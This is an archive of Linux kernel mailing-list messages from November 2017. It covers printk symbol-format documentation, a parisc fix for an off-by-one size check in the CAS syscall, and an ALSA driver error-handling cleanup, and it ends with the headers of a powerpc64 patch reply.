> > advance.
> 
> You can add back the:
> 
> Tested-by: Tony Luck <tony.luck@intel.com> #ia64

Thanks a ton, Tony!

	-ss
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCHv4 5/6] symbol lookup: introduce
 dereference_symbol_descriptor()
Date: Sat, 11 Nov 2017 13:49:32 +0900
Lines: 59
Approved: news@gmane.org
Message-ID: <20171111044932.GB596@tigerII.localdomain>
References: <20171109234830.5067-1-sergey.senozhatsky@gmail.com>
 <20171109234830.5067-6-sergey.senozhatsky@gmail.com>
 <20171110180931.xhhi35osclzceba2@agluck-desk>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1510375778 10778 195.159.176.226 (11 Nov 2017 04:49:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 11 Nov 2017 04:49:38 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>, Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
To: "Luck, Tony" <tony.luck@intel.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Sat Nov 11 05:49:32 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1eDNjX-0001hz-Uq
	for glpi-linux-ia64-2@m.gmane.org; Sat, 11 Nov 2017 05:49:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754172AbdKKEtj (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Fri, 10 Nov 2017 23:49:39 -0500
Original-Received: from mail-pf0-f196.google.com ([209.85.192.196]:53169 "EHLO
        mail-pf0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754156AbdKKEti (ORCPT
        <rfc822;linux-ia64@vger.kernel.org>); Fri, 10 Nov 2017 23:49:38 -0500
Original-Received: by mail-pf0-f196.google.com with SMTP id m88so842508pfi.9;
        Fri, 10 Nov 2017 20:49:38 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=fxJWDeMCvSzFG7g/5NahkW0/89woVak3BHiFsbnP7lo=;
        b=BxuuNCus9xnVYRW36yAD9IU2w7he44P0qujcnr0+CPxWFXL3UUiBjbPqYY4WJz5sPO
         9lMJLBaq/XwEG+o6W9jakIYUZ1DESBO9QwT/TPblADRrWmbv1VOyPRZ14gzJUs3vg0+C
         htA6wHwAOVS4Mhq+hJOCY1l6qhG9PqtdM/jKdr5yj70NpEJyzJt6S056RL0t5n6DOF1q
         w0aYH3JC4cMbzpUc3NS+FWhZu1eT8Prl8+nAsNmf5azkCSiWFiCJ6gjfOZ+im3Ht44kb
         Jq6vaUVXO4yX4xPix+kw9dmLGsIQUSd5AuIJ4VONgS7wcqKe+FAQkG687JHgXFE/a/O5
         gVVg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=fxJWDeMCvSzFG7g/5NahkW0/89woVak3BHiFsbnP7lo=;
        b=gmGJGev2PpGYbaxbWk1m5lQGawKpbxdT9RKfPWm4t2ui0HWWF+sGSOUI2DF57iuF97
         WtYC2+W6Vzk/Cm/yRm8aBwyiKa0Pg46QijDFsLntnjEtiS470J642uPHHMmpW4/s5edD
         fQEyelDHnFeL/Y9QnDVOk1/dbQu5mg550d42RvUimKCd0ZxhgV1i4MwtWDmMVyxsoI+e
         tTNyifbcXD+U4yh64YC4I+6NmQS+wGdnPSD0dKVYAoYTR6FXzZGymQ7olKI/vkQnVnDN
         X6R2z/LNqCCYjPlY/A8NcJoUkISM++kQaOg21VN8M6mVrqSOgnIrthiNMoVRs2qY7wnW
         2T/A==
X-Gm-Message-State: AJaThX6NqDUl8fHfjUrlEcyubeWl5idNAZ1BUCV1+wfiqOosdYrgLwuU
        dIBc0Zg260e5WjrLWiRBpoY=
X-Google-Smtp-Source: AGs4zMZgVNoYA6oNXSRfD8KJQvI/pW5kgmAr7e64Bjeiow5S9SQJ6DjzVFDQRB7IPeWnLlolJFH7Kw==
X-Received: by 10.84.129.132 with SMTP id b4mr2604415plb.412.1510375777627;
        Fri, 10 Nov 2017 20:49:37 -0800 (PST)
Original-Received: from localhost ([121.137.63.184])
        by smtp.gmail.com with ESMTPSA id g5sm19840397pgo.83.2017.11.10.20.49.36
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Fri, 10 Nov 2017 20:49:36 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20171110180931.xhhi35osclzceba2@agluck-desk>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28303 gmane.linux.ports.parisc:27967 gmane.linux.ports.ppc64.devel:150159 gmane.linux.kernel:2614752
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28303>

On (11/10/17 10:09), Luck, Tony wrote:
> On Fri, Nov 10, 2017 at 08:48:29AM +0900, Sergey Senozhatsky wrote:
> > -Examples::
> > -
> > -	printk("Going to call: %pF\n", gettimeofday);
> > -	printk("Going to call: %pF\n", p->func);
> > -	printk("%s: called from %pS\n", __func__, (void *)_RET_IP_);
> > -	printk("%s: called from %pS\n", __func__,
> > -				(void *)__builtin_return_address(0));
> > -	printk("Faulted at %pS\n", (void *)regs->ip);
> > -	printk(" %s%pB\n", (reliable ? "" : "? "), (void *)*stack);
> 
> Did you mean to delete the Examples completely?  Wouldn't it
> be better to just update (s/%pF/%pS/g)?

good question. yes, I think I did it deliberately :) we still
kinda have some sort of "examples", right at the beginning of
section "Symbols/Function Pointers"


>  Symbols/Function Pointers
>  =========================
>
>  ::
>
>         %pS     versatile_init+0x0/0x110
>          %ps     versatile_init
>          %pF     versatile_init+0x0/0x110
>          %pf     versatile_init
>          %pSR    versatile_init+0x9/0x110
>                 (with __builtin_extract_return_addr() translation)
>          %pB     prev_fn_of_versatile_init+0x88/0x88
>
>  The ``S`` and ``s`` specifiers are used for printing a pointer in symbolic
>  format. They result in the symbol name with (``S``) or without (``s``)
>  offsets. If KALLSYMS are disabled then the symbol address is printed instead.
>
>  Note, that the ``F`` and ``f`` specifiers are identical to ``S`` (``s``)
>  and thus deprecated. We have ``F`` and ``f`` because on ia64, ppc64 and
>  parisc64 function pointers are indirect and, in fact, are function
>  descriptors, which require additional dereferencing before we can lookup
>  the symbol. As of now, ``S`` and ``s`` perform dereferencing on those
>  platforms (when needed), so ``F`` and ``f`` exist for compatibility
>  reasons only.
>
>  The ``B`` specifier results in the symbol name with offsets and should be
>  used when printing stack backtraces. The specifier takes into
>  consideration the effect of compiler optimisations which may occur
>  when tail-call``s are used and marked with the noreturn GCC attribute.

I can return Examples back. don't really have a strong opinion
on this. let me know.

	-ss
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix validity check of pointer size argument in new CAS implementation
Date: Sat, 11 Nov 2017 17:11:16 -0500
Lines: 75
Approved: news@gmane.org
Message-ID: <45F72D1B-5939-43D5-B4E5-B7D604432C02@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-36--444867575
X-Trace: blaine.gmane.org 1510438280 15556 195.159.176.226 (11 Nov 2017 22:11:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 11 Nov 2017 22:11:20 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <James.Bottomley@HansenPartnership.com>,
        Christoph Biedl <linux-kernel.bfrz@manchmal.in-ulm.de>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 11 23:11:14 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eDdzd-0003kq-8c
	for glpp-linux-parisc@m.gmane.org; Sat, 11 Nov 2017 23:11:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751760AbdKKWLT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 11 Nov 2017 17:11:19 -0500
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:32904 "EHLO
        mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751651AbdKKWLT (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 11 Nov 2017 17:11:19 -0500
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20171111221117.OGHG8034.mtlfep01.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sat, 11 Nov 2017 17:11:17 -0500
Original-Received: from [192.168.2.25] (really [70.54.49.68]) by mtlspm01.bell.net
          with ESMTP
          id <20171111221117.JUJD24632.mtlspm01.bell.net@[192.168.2.25]>;
          Sat, 11 Nov 2017 17:11:17 -0500
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=dus0Mxo4 c=1 sm=0 tr=0 a=6wHw2kR6hpAEE/VjhHKMJQ==:17 a=sC3jslCIGhcA:10 a=FBHGMhGWAAAA:8 a=Djs76S14eWSnA5FY5RkA:9 a=CjuIK1q_8ugA:10 a=O_jZtBuPqHuCEl9G9ywA:9 a=Ld372NDzu18A:10 a=CTwWI_8SlGQyalyz8_QA:9 a=ATlVsGG5QSsA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27968
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27968>


--Apple-Mail-36--444867575
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

As noted by Christoph Biedl, passing a pointer size of 4 in the new CAS =
implementation causes a
kernel crash.  The attached patch corrects the off by one error in the =
argument validity check.

In reviewing the code, I noticed that we only perform word operations =
with the pointer size argument.
The subi instruction intentionally uses a word condition on 64-bit =
kernels.  Nullification was used instead
of a cmpib instruction as the branch should never be taken.  The shlw =
pseudo-operation generates a
depw,z instruction and it clears the target before doing a shift left =
word deposit.  Thus, we don't need to
clip the upper 32 bits of this argument on 64-bit kernels.

Tested with a gcc testsuite run with a 64-bit kernel.  The gcc atomic =
code in libgcc is the only direct user
of the new CAS implementation that I am aware of.

Signed-off-by: John David Anglin <dave.anglin@bell.net>


--Apple-Mail-36--444867575
Content-Disposition: attachment;
	filename=syscall-size.d.txt
Content-Type: text/plain;
	name="syscall-size.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index 41e60a9c7db2..e775f80ae28c 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -690,15 +690,15 @@ cas_action:
 	/* ELF32 Process entry path */
 lws_compare_and_swap_2:
 #ifdef CONFIG_64BIT
-	/* Clip the input registers */
+	/* Clip the input registers. We don't need to clip %r23 as we
+	   only use it for word operations */
 	depdi	0, 31, 32, %r26
 	depdi	0, 31, 32, %r25
 	depdi	0, 31, 32, %r24
-	depdi	0, 31, 32, %r23
 #endif
 
 	/* Check the validity of the size pointer */
-	subi,>>= 4, %r23, %r0
+	subi,>>= 3, %r23, %r0
 	b,n	lws_exit_nosys
 
 	/* Jump to the functions which will load the old and new values into

--Apple-Mail-36--444867575
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=us-ascii



--
John David Anglin	dave.anglin@bell.net

--Apple-Mail-36--444867575--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: SF Markus Elfring <elfring@users.sourceforge.net>
Newsgroups: gmane.linux.alsa.devel,gmane.linux.ports.parisc,gmane.linux.kernel.janitors,gmane.linux.kernel
Subject: [PATCH] ALSA: ad1889: Use common error handling code
 in snd_ad1889_create()
Date: Sun, 12 Nov 2017 10:26:58 +0100
Lines: 122
Approved: news@gmane.org
Message-ID: <252c71ed-af89-ed5f-d75f-c09292e68bd5@users.sourceforge.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1510478841 7171 195.159.176.226 (12 Nov 2017 09:27:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 12 Nov 2017 09:27:21 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.4.0
Cc: kernel-janitors@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>
To: alsa-devel@alsa-project.org, linux-parisc@vger.kernel.org,
 Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.com>,
 Thibaut Varene <T-Bone@parisc-linux.org>
Original-X-From: alsa-devel-bounces@alsa-project.org Sun Nov 12 10:27:16 2017
Return-path: <alsa-devel-bounces@alsa-project.org>
Envelope-to: glad-alsa-devel-2@m.gmane.org
Original-Received: from alsa0.perex.cz ([77.48.224.243])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <alsa-devel-bounces@alsa-project.org>)
	id 1eDoXm-0001Lp-S8
	for glad-alsa-devel-2@m.gmane.org; Sun, 12 Nov 2017 10:27:10 +0100
Original-Received: from alsa0.perex.cz (localhost [127.0.0.1])
	by alsa0.perex.cz (Postfix) with ESMTP id 2D895266B67;
	Sun, 12 Nov 2017 10:27:17 +0100 (CET)
X-Original-To: alsa-devel@alsa-project.org
Delivered-To: alsa-devel@alsa-project.org
Original-Received: by alsa0.perex.cz (Postfix, from userid 1000)
 id A17D1266E15; Sun, 12 Nov 2017 10:27:15 +0100 (CET)
Original-Received: from mout.web.de (mout.web.de [212.227.15.3])
 by alsa0.perex.cz (Postfix) with ESMTP id 8368A266B02
 for <alsa-devel@alsa-project.org>; Sun, 12 Nov 2017 10:27:10 +0100 (CET)
Original-Received: from [192.168.1.3] ([77.182.62.6]) by smtp.web.de (mrweb004
 [213.165.67.108]) with ESMTPSA (Nemesis) id 0Mbdf3-1eWrMd3dyv-00J42d; Sun, 12
 Nov 2017 10:27:06 +0100
Content-Language: en-GB
X-Provags-ID: V03:K0:/91XVp5+Z7AjGqNTRqeM/+HOpXzJ3GihMhOEknuK3J2fb20CXEq
 S66YP3x/E/OfEnOYJyMTT+16UGtwBsz7eWIjDjPRqWevNXPM43rJ7YiwefoXMS46z4BivQz
 GOfFCdCrURBTilC5onKQdkFRvEkRRpX5AnsE5HY33M5cT/HlyQpMUgwc7lzgrfw/VRrpiAI
 p9zxqKF7A6ZX5+NVCtFWA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:eStSBCqVnks=:8mxNAJKkrFVHjpxkgz10Vp
 DznYoGWLc2ojzFR/bv9W9NLGIfBdj3A0dDvZT32bfzSC6i/KLqafGz5uf7GanZlGVYN+2PN48
 vR2lY5Aeah8U5eWjCHTJOEuDWJ5cFMsRh1gHU/14HiSQcLihQp04xbXHSRR1ke4S/qIoRkTm1
 ep8HE8eFcfSeGyLMv6/7t4a4oLTXt26etLEZabRA/Jv2GcHpYlBhGmn+dQUmjC0D6HgGC0rJz
 AXbmdN++FMm0rfEl1nnB2gJDqFluCC2LrP3krrL+FJK6DWXfakNFRwrQfvugZz6MyIUffaUI/
 z3y/dLZCS08e/QxAW4T2YH8qsXieTsWqk517SHd7aDg2WCNEHN95dO+dSw2iuxJTocPFsJxF2
 D44ZZVtggdCMPE8nKkizXxr0b6feRw7lek9YcXYgCHAEDPkbhRZjwbc5mmwa0TdE5I/uX2Lrr
 MSzFNUrqAZYl/RpdDSzRlFEzT0z4Rp7rRBk2xUFYUlMdgtA+BpbtSkAzzA8T/KiWwK9DTTElM
 jqU62Ky+EG1obH343VM08RadFecjgTZqTy/ouT+5K0sJ/NrktCp5EgvPAMjtciEXfgbJtMiWI
 +8I1Q45GzZ5WPibGiskgGaAJNHiplh9/hrAlufJvZgbUqsesDHKykxAzwUHnglFkWK6atTD0Y
 B91xKhLBwDar2IQV4z+TbbFNDcyhdyV655vapUIQoIF/p4p+6b5ubAN/R1TL0a2zsfpsq/NkR
 2aPymGFIv0yyzzhsCCRLctrAtZF865CIghUKNhHC8HopzU3l5xp68INy97MFuKbZa9oNmUUO 
X-BeenThere: alsa-devel@alsa-project.org
X-Mailman-Version: 2.1.14
Precedence: list
List-Id: "Alsa-devel mailing list for ALSA developers -
 http://www.alsa-project.org" <alsa-devel.alsa-project.org>
List-Unsubscribe: <http://mailman.alsa-project.org/mailman/options/alsa-devel>, 
 <mailto:alsa-devel-request@alsa-project.org?subject=unsubscribe>
List-Archive: <http://mailman.alsa-project.org/pipermail/alsa-devel/>
List-Post: <mailto:alsa-devel@alsa-project.org>
List-Help: <mailto:alsa-devel-request@alsa-project.org?subject=help>
List-Subscribe: <http://mailman.alsa-project.org/mailman/listinfo/alsa-devel>, 
 <mailto:alsa-devel-request@alsa-project.org?subject=subscribe>
Errors-To: alsa-devel-bounces@alsa-project.org
Original-Sender: alsa-devel-bounces@alsa-project.org
Xref: news.gmane.org gmane.linux.alsa.devel:174027 gmane.linux.ports.parisc:27969 gmane.linux.kernel.janitors:49156 gmane.linux.kernel:2614992
Archived-At: <http://permalink.gmane.org/gmane.linux.alsa.devel/174027>

From: Markus Elfring <elfring@users.sourceforge.net>
Date: Sun, 12 Nov 2017 10:10:53 +0100

* Adjust jump targets so that a bit of exception handling can be better
  reused at the end of this function.

  This issue was detected by using the Coccinelle software.

* The script "checkpatch.pl" pointed information out like the following.

  ERROR: do not use assignment in if condition

  Thus fix five affected source code places.

Signed-off-by: Markus Elfring <elfring@users.sourceforge.net>
---
 sound/pci/ad1889.c | 45 +++++++++++++++++++++++++--------------------
 1 file changed, 25 insertions(+), 20 deletions(-)

diff --git a/sound/pci/ad1889.c b/sound/pci/ad1889.c
index 0bf2c04eeada..9f00e63937a5 100644
--- a/sound/pci/ad1889.c
+++ b/sound/pci/ad1889.c
@@ -894,21 +894,23 @@ snd_ad1889_create(struct snd_card *card,
 
 	*rchip = NULL;
 
-	if ((err = pci_enable_device(pci)) < 0)
+	err = pci_enable_device(pci);
+	if (err < 0)
 		return err;
 
 	/* check PCI availability (32bit DMA) */
 	if (dma_set_mask(&pci->dev, DMA_BIT_MASK(32)) < 0 ||
 	    dma_set_coherent_mask(&pci->dev, DMA_BIT_MASK(32)) < 0) {
 		dev_err(card->dev, "error setting 32-bit DMA mask.\n");
-		pci_disable_device(pci);
-		return -ENXIO;
+		err = -ENXIO;
+		goto disable_device;
 	}
 
 	/* allocate chip specific data with zero-filled memory */
-	if ((chip = kzalloc(sizeof(*chip), GFP_KERNEL)) == NULL) {
-		pci_disable_device(pci);
-		return -ENOMEM;
+	chip = kzalloc(sizeof(*chip), GFP_KERNEL);
+	if (!chip) {
+		err = -ENOMEM;
+		goto disable_device;
 	}
 
 	chip->card = card;
@@ -917,15 +919,16 @@ snd_ad1889_create(struct snd_card *card,
 	chip->irq = -1;
 
 	/* (1) PCI resource allocation */
-	if ((err = pci_request_regions(pci, card->driver)) < 0)
-		goto free_and_ret;
+	err = pci_request_regions(pci, card->driver);
+	if (err < 0)
+		goto free_data;
 
 	chip->bar = pci_resource_start(pci, 0);
 	chip->iobase = pci_ioremap_bar(pci, 0);
 	if (chip->iobase == NULL) {
 		dev_err(card->dev, "unable to reserve region.\n");
 		err = -EBUSY;
-		goto free_and_ret;
+		goto free_data;
 	}
 	
 	pci_set_master(pci);
@@ -935,32 +938,34 @@ snd_ad1889_create(struct snd_card *card,
 	if (request_irq(pci->irq, snd_ad1889_interrupt,
 			IRQF_SHARED, KBUILD_MODNAME, chip)) {
 		dev_err(card->dev, "cannot obtain IRQ %d\n", pci->irq);
-		snd_ad1889_free(chip);
-		return -EBUSY;
+		err = -EBUSY;
+		goto free_sound_chip;
 	}
 
 	chip->irq = pci->irq;
 	synchronize_irq(chip->irq);
 
 	/* (2) initialization of the chip hardware */
-	if ((err = snd_ad1889_init(chip)) < 0) {
-		snd_ad1889_free(chip);
-		return err;
-	}
+	err = snd_ad1889_init(chip);
+	if (err < 0)
+		goto free_sound_chip;
 
-	if ((err = snd_device_new(card, SNDRV_DEV_LOWLEVEL, chip, &ops)) < 0) {
-		snd_ad1889_free(chip);
-		return err;
-	}
+	err = snd_device_new(card, SNDRV_DEV_LOWLEVEL, chip, &ops);
+	if (err < 0)
+		goto free_sound_chip;
 
 	*rchip = chip;
 
 	return 0;
 
-free_and_ret:
+free_data:
 	kfree(chip);
+disable_device:
 	pci_disable_device(pci);
+	return err;
 
+free_sound_chip:
+	snd_ad1889_free(chip);
 	return err;
 }
 
-- 
2.15.0


From - Thu Nov 08 21:40:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Santosh Sivaraj <santosh@fossix.org>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCHv4 3/6] powerpc64: Add .opd based function descriptor
 dereference
Date: Mon, 13 Nov 2017 12:41:49 +0530
Lines: 131
Approved: news@gmane.org
Message-ID: <20171113071149.crpthceuvtxtzj2s@santosiv.in.ibm.com>
References: <20171109234830.5067-1-sergey.senozhatsky@gmail.com>
 <20171109234830.5067-4-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1510557113 10911 195.159.176.226 (13 Nov 2017 07:11:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Nov 2017 07:11:53 +0000 (UTC)
User-Agent: NeoMutt/20171027
Cc: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>, Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
To: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Mon Nov 13 08:11:47 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1eE8uI-0006G7-MS
	for glpi-linux-ia64-2@m.gmane.org; Mon, 13 Nov 2017 08:11:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751568AbdKMHLy (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Mon, 13 Nov 2017 02:11:54 -0500
Original-Received: from mail-pf0-f193.google.com ([209.85.192.193]:51581 "EHLO
        mail-pf0-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751523AbdKMHLw (ORCPT
        <rfc822;linux-ia64@vger.kernel.org>); Mon, 13 Nov 2017 02:11:52 -0500
Original-Received: by mail-pf0-f193.google.com with SMTP id j28so8909451pfk.8
        for <linux-ia64@vger.kernel.org>; Sun, 12 Nov 2017 23:11:52 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=fossix-org.20150623.gappssmtp.com; s=20150623;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=41c1Rny3uJUw/oqNdkMLfJK6rQBba9BFS9/puaTtCig=;
        b=jjOKt7qSdVPk6GbxDgEpvPAVJYVQPYvRIi2M0HOHW53Bsy+xnk4vahHNdTcCFE1t/J
         euZ5xemAngkFM3a9J7M1yWOdvB4EyiATOUDCadKqw1m0TWKrZygEw4QY/yJkF5XVHqTf
         M2nn/zDzd1/zfwl66krPF8wuB6GJfyJ5zH3cfsZBiqk8Myw6VHJbDS60hXiEsySA1Dpo
         1eg1c5nYKJ+lZNF33dJwqzY4ESvD9B1u3TMZfEEQFZQl2GAm0kngcL6fRwWqeq3KrPHC
         PQs7eVLTQc/lipDPEqdr9CwfIB9xrD28NAhUds+gwWbmAVE1DVc9700BHLcqC52oDnIR
         ID9Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=41c1Rny3uJUw/oqNdkMLfJK6rQBba9BFS9/puaTtCig=;
        b=bWqVRFQ6xqNPTZf6BU0sRwwm9kIO0NLOpI5fznVZoUO4rFpu2z43T6J1NqQwohH5/j
         pwJM5Lek1LeznbCgHgeWsBVhoZZoVwdYAQj5jRfxMMOW434UoHVhkOyqyUP6W8fDfseG
         2td0b1yWOdM7ch8mzo5ThWccp852OzY18fNi1QiG5JD4ABZAMTdkyZRnMQb8rfXSUJRQ
         0Vg8d4hOEqLIdM4J6WIME/UZuEqAKdagHlp1e2M8w2dhkhq4EnA+EMwt3GTeS8ecr1m+
         7svAG92gzV60KwE7oHhTVhxvzyN84iXf1HbX6BXIvGIPwKl/ormMpUnFewsY9U/rX8KL
         OFoQ==
X-Gm-Message-State: AJaThX46eppm8A2GiIeK/JEIKOmysq1iR0AnukAonwKJK6s7jUOvMU90
        zcaa/VA5NtEFTMnzbCZW/qubwg==
X-Google-Smtp-Source: AGs4zMa7+qU/xfpgQogSboLXZU8Z79ZhjNopQbCyQzrxXBHlTq6P0XdTy+q9ixmmbFeAkbDBQ+XVJg==
X-Received: by 10.84.238.140 with SMTP id v12mr2628918plk.356.1510557112259;
        Sun, 12 Nov 2017 23:11:52 -0800 (PST)
Original-Received: from localhost ([125.16.167.56])
        by smtp.gmail.com with ESMTPSA id p21sm35260840pfk.185.2017.11.12.23.11.51
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Sun, 12 Nov 2017 23:11:51 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20171109234830.5067-4-sergey.senozhatsky@gmail.com>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
